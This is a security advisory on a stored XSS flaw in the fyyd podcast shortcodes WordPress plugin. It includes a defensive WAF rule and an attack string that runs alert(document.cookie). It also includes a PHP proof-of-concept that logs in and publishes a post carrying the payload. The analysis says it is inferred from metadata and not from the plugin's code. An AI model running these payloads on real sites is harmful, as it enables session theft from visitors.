Atomic Edge analysis of CVE-2026-4084 (metadata-based):
The fyyd podcast shortcodes WordPress plugin contains an authenticated stored cross-site scripting vulnerability in versions up to and including 0.3.1. The vulnerability affects the ‘fyyd-podcast’, ‘fyyd-episode’, and ‘fyyd’ shortcodes. Attackers with Contributor-level permissions or higher can inject malicious JavaScript via shortcode attributes like ‘color’, ‘podcast_id’, and ‘podcast_slug’. The CVSS 6.4 score reflects medium severity with network attack vector, low attack complexity, low privileges required, no user interaction, and scope change with low confidentiality/integrity impact.
Atomic Edge research indicates the root cause is insufficient input sanitization and output escaping. The vulnerability description states user-supplied shortcode attributes are directly concatenated into inline JavaScript within single-quoted string arguments without escaping. This allows attackers to break out of JavaScript string contexts. These conclusions are inferred from the CWE-79 classification and vulnerability description, not confirmed via code review since source code is unavailable. The plugin likely uses WordPress shortcode registration functions like add_shortcode() without proper callback function sanitization.
Exploitation requires Contributor-level WordPress access. Attackers create or edit posts/pages containing malicious shortcodes. Example payload: [fyyd-podcast color=’red’;alert(document.cookie);//’]. The ‘color’ attribute value breaks the JavaScript string context. The semicolon terminates the statement, and the double-slash comments out the remaining single quote. When WordPress renders the post/page, the malicious JavaScript executes in visitors’ browsers. The attack vector is stored XSS, meaning the payload persists in the database and executes each time the compromised content loads.
Remediation requires proper output escaping for all user-controlled shortcode attributes. WordPress provides esc_js() for JavaScript contexts and esc_attr() for HTML attributes. The plugin should implement these functions before outputting attribute values. Input validation should also restrict attribute values to expected patterns. For example, color attributes should accept only valid CSS color values or hex codes. The fix must apply to all three vulnerable shortcodes and all affected attributes.
Successful exploitation allows attackers to execute arbitrary JavaScript in victims’ browsers. Attackers can steal session cookies, perform actions as authenticated users, deface websites, or redirect users to malicious sites. The Contributor+ requirement limits immediate impact, but compromised Contributor accounts are common targets. Since the XSS is stored, a single injection affects all visitors viewing the compromised content. The scope change in CVSS indicates the vulnerability can affect other site components beyond the plugin itself.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-4084 (metadata-based)
# Targets stored XSS via fyyd podcast shortcodes plugin shortcode attributes
# Rule blocks POST requests containing malicious shortcode attributes
SecRule REQUEST_FILENAME "@endsWith /wp-admin/post.php"
"id:20264084,phase:2,deny,status:403,chain,msg:'CVE-2026-4084: fyyd podcast shortcodes stored XSS via shortcode attributes',severity:'CRITICAL',tag:'CVE-2026-4084',tag:'WordPress',tag:'Plugin',tag:'XSS'"
SecRule &ARGS_POST:content "@gt 0"
"chain"
SecRule ARGS_POST:content "@rx \[fyyd(?:-podcast|-episode)?[^\]]*?(?:color|podcast_id|podcast_slug)=['"][^'"]*?[;\x00-\x1f\x7f]"
"t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E,setvar:'tx.cve_2026_4084_score=+%{tx.critical_anomaly_score}',setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-4084 - fyyd podcast shortcodes <= 0.3.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'color' Shortcode Attribute
<?php
/**
* Proof of Concept for CVE-2026-4084
* Assumptions based on vulnerability description:
* 1. Plugin registers shortcodes: 'fyyd-podcast', 'fyyd-episode', 'fyyd'
* 2. Shortcode attributes 'color', 'podcast_id', 'podcast_slug' are vulnerable
* 3. Contributor+ authentication required
* 4. Payload injects into inline JavaScript within single-quoted strings
*/
$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';
// Payload breaks JavaScript string context: close quote, execute alert, comment remainder
$payload = "red';alert('XSS via fyyd plugin');//";
// Create malicious shortcode with payload in color attribute
$shortcode = "[fyyd-podcast color='{$payload}']";
// WordPress authentication and post creation
function exploit_cve_2026_4084($target, $user, $pass, $content) {
$ch = curl_init();
// Step 1: Get login page to retrieve nonce/login cookies
curl_setopt_array($ch, [
CURLOPT_URL => $target . '/wp-login.php',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
CURLOPT_USERAGENT => 'Atomic Edge PoC/1.0'
]);
$response = curl_exec($ch);
// Step 2: Authenticate
$post_fields = http_build_query([
'log' => $user,
'pwd' => $pass,
'wp-submit' => 'Log In',
'redirect_to' => $target . '/wp-admin/',
'testcookie' => '1'
]);
curl_setopt_array($ch, [
CURLOPT_URL => $target . '/wp-login.php',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $post_fields,
CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded']
]);
$response = curl_exec($ch);
// Check authentication success (simplified)
if (strpos($response, 'Dashboard') === false && strpos($response, 'wp-admin') === false) {
echo "Authentication failedn";
curl_close($ch);
return false;
}
// Step 3: Get new post page to retrieve nonce
curl_setopt_array($ch, [
CURLOPT_URL => $target . '/wp-admin/post-new.php',
CURLOPT_POST => false,
CURLOPT_POSTFIELDS => null
]);
$response = curl_exec($ch);
// Extract nonce (simplified - actual implementation would parse HTML)
// WordPress nonce pattern for posts: 'wpnonce' or '_wpnonce'
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $response, $matches);
$nonce = $matches[1] ?? 'extraction_failed';
// Step 4: Create post with malicious shortcode
$post_data = http_build_query([
'post_title' => 'Test Post with XSS',
'content' => $content,
'publish' => 'Publish',
'_wpnonce' => $nonce,
'_wp_http_referer' => $target . '/wp-admin/post-new.php',
'post_type' => 'post',
'post_status' => 'publish'
]);
curl_setopt_array($ch, [
CURLOPT_URL => $target . '/wp-admin/post.php',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $post_data
]);
$response = curl_exec($ch);
// Extract post ID from response (simplified)
if (preg_match('/post=([0-9]+)/', $response, $matches)) {
$post_id = $matches[1];
echo "Post created: {$target}/?p={$post_id}n";
echo "Visit this URL to trigger XSS payloadn";
} else {
echo "Post creation may have failedn";
}
curl_close($ch);
return true;
}
// Execute exploit
exploit_cve_2026_4084($target_url, $username, $password, $shortcode);
?>